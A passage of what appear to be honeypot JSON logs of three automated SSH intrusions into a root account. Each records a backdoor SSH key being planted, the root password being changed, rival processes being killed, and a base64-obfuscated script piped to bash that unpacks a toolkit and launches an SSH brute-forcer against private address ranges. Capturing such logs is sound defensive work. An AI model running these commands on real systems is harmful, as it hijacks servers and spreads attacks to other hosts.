sleep;"},{"seq":7,"at":"2026-08-20T12:57:07.450343+00:00","kind":"output","latency_ms":909,"data":""},{"seq":8,"at":"2026-08-20T12:57:07.895223+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-20T12:57:08.466969+00:00","kind":"output","latency_ms":572,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-20T12:57:09.143085+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-20T12:57:09.864544+00:00","kind":"output","latency_ms":720,"data":"956 956 0 0 0 0"},{"seq":12,"at":"2026-08-20T12:57:10.541593+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-20T12:57:11.362777+00:00","kind":"output","latency_ms":820,"data":"-rwxr-xr-x 1 root root 142K Feb 11 2026 /usr/bin/ls"},{"seq":14,"at":"2026-08-20T12:57:12.040093+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-20T12:57:13.013154+00:00","kind":"output","latency_ms":971,"data":"# m h dom mon dow command\n*/5 * * * * /opt/stable/bin/muck-out.sh >> /var/log/muck-out.log 2>&1\n0 2 * * * /opt/stable/bin/gallop-backup.sh\n*/10 * * * * /opt/stable/bin/hoofcheck.sh\n15 3 * * * /opt/stable/bin/canter-deploy.sh\n"},{"seq":16,"at":"2026-08-20T12:57:13.692359+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-20T12:57:14.974077+00:00","kind":"output","latency_ms":1281,"data":" 10:56:42 up 9:47, 1 user, load average: 0.05, 0.03, 0.01\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT\nroot pts/0 203.0.113.1 10:55 1.00s 0.03s 0.01s w"},{"seq":18,"at":"2026-08-20T12:57:15.650687+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-20T12:57:15.651406+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-20T12:57:16.329899+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-20T12:57:17.206105+00:00","kind":"output","latency_ms":875,"data":"1"},{"seq":22,"at":"2026-08-20T12:57:17.883293+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-20T12:57:17.884021+00:00","kind":"output","latency_ms":null,"data":"top - 12:57:17 up 9:47, 0 user, load average: 0.32, 0.4, 0.37\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 956 total, 554 free, 401 used\nMiB Swap: 511 total, 511 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-20T12:57:18.564099+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-20T12:57:18.564711+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-20T12:57:19.246371+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-20T12:57:19.246839+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-20T12:57:19.922468+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-20T12:57:19.923672+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-20T12:57:20.604146+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-20T12:57:21.097071+00:00","kind":"output","latency_ms":496,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-20T12:57:21.773534+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-20T12:57:22.342037+00:00","kind":"output","latency_ms":567,"data":"24G"},{"seq":34,"at":"2026-08-20T12:57:24.646245+00:00","kind":"input","latency_ms":null,"data":"echo \"root admin1234!@\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-20T12:57:25.323145+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-20T12:57:25.876444+00:00","kind":"output","latency_ms":553,"data":""},{"seq":37,"at":"2026-08-20T12:57:27.697393+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-20T12:57:28.418040+00:00","kind":"output","latency_ms":719,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-20T12:57:29.096052+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-20T12:57:29.603323+00:00","kind":"output","latency_ms":506,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-20T12:57:30.281556+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-20T12:57:30.958886+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-20T12:57:31.820029+00:00","kind":"output","latency_ms":859,"data":"1"},{"seq":44,"at":"2026-08-20T12:57:32.515145+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-20T12:57:33.098590+00:00","kind":"output","latency_ms":587,"data":"1"},{"seq":46,"at":"2026-08-20T12:57:33.776586+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-20T12:57:34.403536+00:00","kind":"output","latency_ms":626,"data":""},{"seq":48,"at":"2026-08-20T12:57:42.463099+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-20T12:57:42.463666+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"admin1234!@","method":"password","accepted":true,"tier":"other"}]} {"id":"46fb043f-7cad-43ac-afbe-b504a2611f5e","name":"frosty-barren-cheetah","protocol":"ssh","channel_kind":"exec","src_ip":"92.47.46.174","src_port":59806,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":687,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-20T12:49:42.507032+00:00","ended_at":"2026-08-20T12:49:42.722243+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3732,"events":[{"seq":1,"at":"2026-08-20T12:48:54.656532+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-20T12:48:55.341102+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-20T12:49:01.252389+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-20T12:49:01.903115+00:00","kind":"output","latency_ms":650,"data":"1"},{"seq":5,"at":"2026-08-20T12:49:02.589127+00:00","kind":"input","latency_ms":null,"data":"echo \"root:40oemOI5b3Nd\"|chpasswd|bash"},{"seq":6,"at":"2026-08-20T12:49:03.227830+00:00","kind":"output","latency_ms":638,"data":""},{"seq":7,"at":"2026-08-20T12:49:03.274293+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":8,"at":"2026-08-20T12:49:03.962116+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-20T12:49:04.560692+00:00","kind":"output","latency_ms":597,"data":"AMD EPYC 7713 64-Core Processor x1"},{"seq":10,"at":"2026-08-20T12:49:05.459718+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-20T12:49:06.027214+00:00","kind":"output","latency_ms":566,"data":"956 0 956 0 0 0"},{"seq":12,"at":"2026-08-20T12:49:06.715155+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-20T12:49:07.383760+00:00","kind":"output","latency_ms":667,"data":"-rwxr-xr-x 1 root root 148K Apr 8 2026 /usr/bin/ls"},{"seq":14,"at":"2026-08-20T12:49:08.072481+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-20T12:49:09.078501+00:00","kind":"output","latency_ms":1004,"data":"0 3 * * * /opt/stable/bin/gallop-backup.sh >/var/log/hayloft-backup.log 2>&1\n*/5 * * * * /opt/stable/bin/muck-out.sh >/var/log/muck-out.log 2>&1\n15 2 * * 1 /opt/stable/bin/hoofcheck.sh >/var/log/hoofcheck.log 2>&1"},{"seq":16,"at":"2026-08-20T12:49:09.764771+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-20T12:49:10.936440+00:00","kind":"output","latency_ms":1156,"data":" 10:48:53 up 9:39, 1 user, load average: 0.01, 0.03, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT\nroot pts/0 203.0.113.1 10:47 1.00s 0.02s 0.00s w"},{"seq":18,"at":"2026-08-20T12:49:11.625012+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-20T12:49:11.625947+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-20T12:49:12.313689+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-20T12:49:12.880354+00:00","kind":"output","latency_ms":566,"data":"64"},{"seq":22,"at":"2026-08-20T12:49:13.572198+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-20T12:49:13.572811+00:00","kind":"output","latency_ms":null,"data":"top - 12:49:13 up 9:39, 0 user, load average: 0.14, 0.14, 0.12\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 956 total, 372 free, 583 used\nMiB Swap: 511 total, 511 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-20T12:49:14.260387+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-20T12:49:14.260700+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-20T12:49:14.947742+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-20T12:49:14.948566+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-20T12:49:15.643087+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-20T12:49:15.643587+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-20T12:49:16.330281+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-20T12:49:17.321112+00:00","kind":"output","latency_ms":990,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-20T12:49:18.010345+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-20T12:49:18.771406+00:00","kind":"output","latency_ms":760,"data":"24G"},{"seq":34,"at":"2026-08-20T12:49:20.868564+00:00","kind":"input","latency_ms":null,"data":"echo \"root p@55wOrd\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-20T12:49:21.553887+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-20T12:49:22.211659+00:00","kind":"output","latency_ms":657,"data":""},{"seq":37,"at":"2026-08-20T12:49:23.998189+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-20T12:49:27.462892+00:00","kind":"output","latency_ms":3463,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-20T12:49:28.150890+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-20T12:49:28.928511+00:00","kind":"output","latency_ms":775,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-20T12:49:29.614068+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-20T12:49:30.973764+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-20T12:49:31.677222+00:00","kind":"output","latency_ms":702,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-20T12:49:32.360375+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-20T12:49:32.987767+00:00","kind":"output","latency_ms":626,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-20T12:49:33.672417+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-20T12:49:42.508081+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-20T12:49:42.508643+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"p@55wOrd","method":"password","accepted":true,"tier":"other"}]} {"id":"16ce8ab6-9ac3-48a6-8acf-2f1f38563712","name":"meadow-northern-bison","protocol":"ssh","channel_kind":"exec","src_ip":"81.193.216.17","src_port":56682,"username":"root","client_version":"SSH-2.0-libssh_0.11.1","auth_attempts":1,"automation":"bot","think_ms":408,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-20T12:49:19.537181+00:00","ended_at":"2026-08-20T12:49:19.664175+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3907,"events":[{"seq":1,"at":"2026-08-20T12:48:43.457372+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-20T12:48:43.862202+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-20T12:48:48.188697+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-20T12:48:49.039799+00:00","kind":"output","latency_ms":850,"data":"1"},{"seq":5,"at":"2026-08-20T12:48:49.448138+00:00","kind":"input","latency_ms":null,"data":"echo \"root:YoO7YHvKLyMT\"|chpasswd|bash"},{"seq":6,"at":"2026-08-20T12:48:49.856410+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-20T12:48:49.883402+00:00","kind":"output","latency_ms":434,"data":""},{"seq":8,"at":"2026-08-20T12:48:50.261518+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-20T12:48:50.828910+00:00","kind":"output","latency_ms":565,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-20T12:48:51.235723+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-20T12:48:52.285245+00:00","kind":"output","latency_ms":1046,"data":"956 0 956 0 0 0"},{"seq":12,"at":"2026-08-20T12:48:52.693590+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-20T12:48:53.308345+00:00","kind":"output","latency_ms":613,"data":"-rwxr-xr-x 1 root root 141K Aug 20 03:01 /usr/bin/ls"},{"seq":14,"at":"2026-08-20T12:48:53.715634+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-20T12:48:54.973647+00:00","kind":"output","latency_ms":1256,"data":"# m h dom mon dow command\n17 * * * * /opt/stable/bin/muck-out.sh >> /var/log/muck-out.log 2>&1\n*/15 * * * * /opt/stable/bin/hoofcheck.sh >> /var/log/hoofcheck.log 2>&1\n0 2 * * * /opt/stable/bin/gallop-backup.sh >> /var/log/gallop-backup.log 2>&1\n5 * * * * /opt/stable/bin/canter-deploy.sh >> /var/log/canter-deploy.log 2>&1"},{"seq":16,"at":"2026-08-20T12:48:55.379837+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-20T12:48:56.743494+00:00","kind":"output","latency_ms":1361,"data":" 04:49:53 up 9:39, 1 user, load average: 0.00, 0.01, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT\nroot pts/0 203.0.113.1 04:48 1.00s 0.01s 0.00s w"},{"seq":18,"at":"2026-08-20T12:48:57.149753+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-20T12:48:57.150549+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-20T12:48:57.558346+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-20T12:48:58.715772+00:00","kind":"output","latency_ms":1157,"data":"64"},{"seq":22,"at":"2026-08-20T12:48:59.123718+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-20T12:48:59.124157+00:00","kind":"output","latency_ms":null,"data":"top - 12:48:59 up 9:39, 0 user, load average: 0.25, 0.18, 0.25\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 956 total, 506 free, 449 used\nMiB Swap: 511 total, 511 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-20T12:48:59.530715+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-20T12:48:59.531297+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-20T12:48:59.938593+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-20T12:48:59.939046+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-20T12:49:00.352143+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-20T12:49:00.353019+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-20T12:49:00.755828+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-20T12:49:01.328835+00:00","kind":"output","latency_ms":572,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-20T12:49:01.735772+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-20T12:49:02.527740+00:00","kind":"output","latency_ms":790,"data":"24G"},{"seq":34,"at":"2026-08-20T12:49:04.337960+00:00","kind":"input","latency_ms":null,"data":"echo \"root Admin12345@\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-20T12:49:04.744009+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-20T12:49:05.299941+00:00","kind":"output","latency_ms":554,"data":""},{"seq":37,"at":"2026-08-20T12:49:06.142646+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-20T12:49:06.869941+00:00","kind":"output","latency_ms":726,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-20T12:49:07.275858+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-20T12:49:08.182234+00:00","kind":"output","latency_ms":905,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-20T12:49:08.589009+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-20T12:49:08.995427+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-20T12:49:09.620746+00:00","kind":"output","latency_ms":623,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-20T12:49:10.037925+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-20T12:49:10.709176+00:00","kind":"output","latency_ms":669,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-20T12:49:11.124193+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-20T12:49:11.617345+00:00","kind":"output","latency_ms":490,"data":""},{"seq":48,"at":"2026-08-20T12:49:19.538050+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-20T12:49:19.538504+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"Admin12345@","method":"password","accepted":true,"tier":"other"}]} 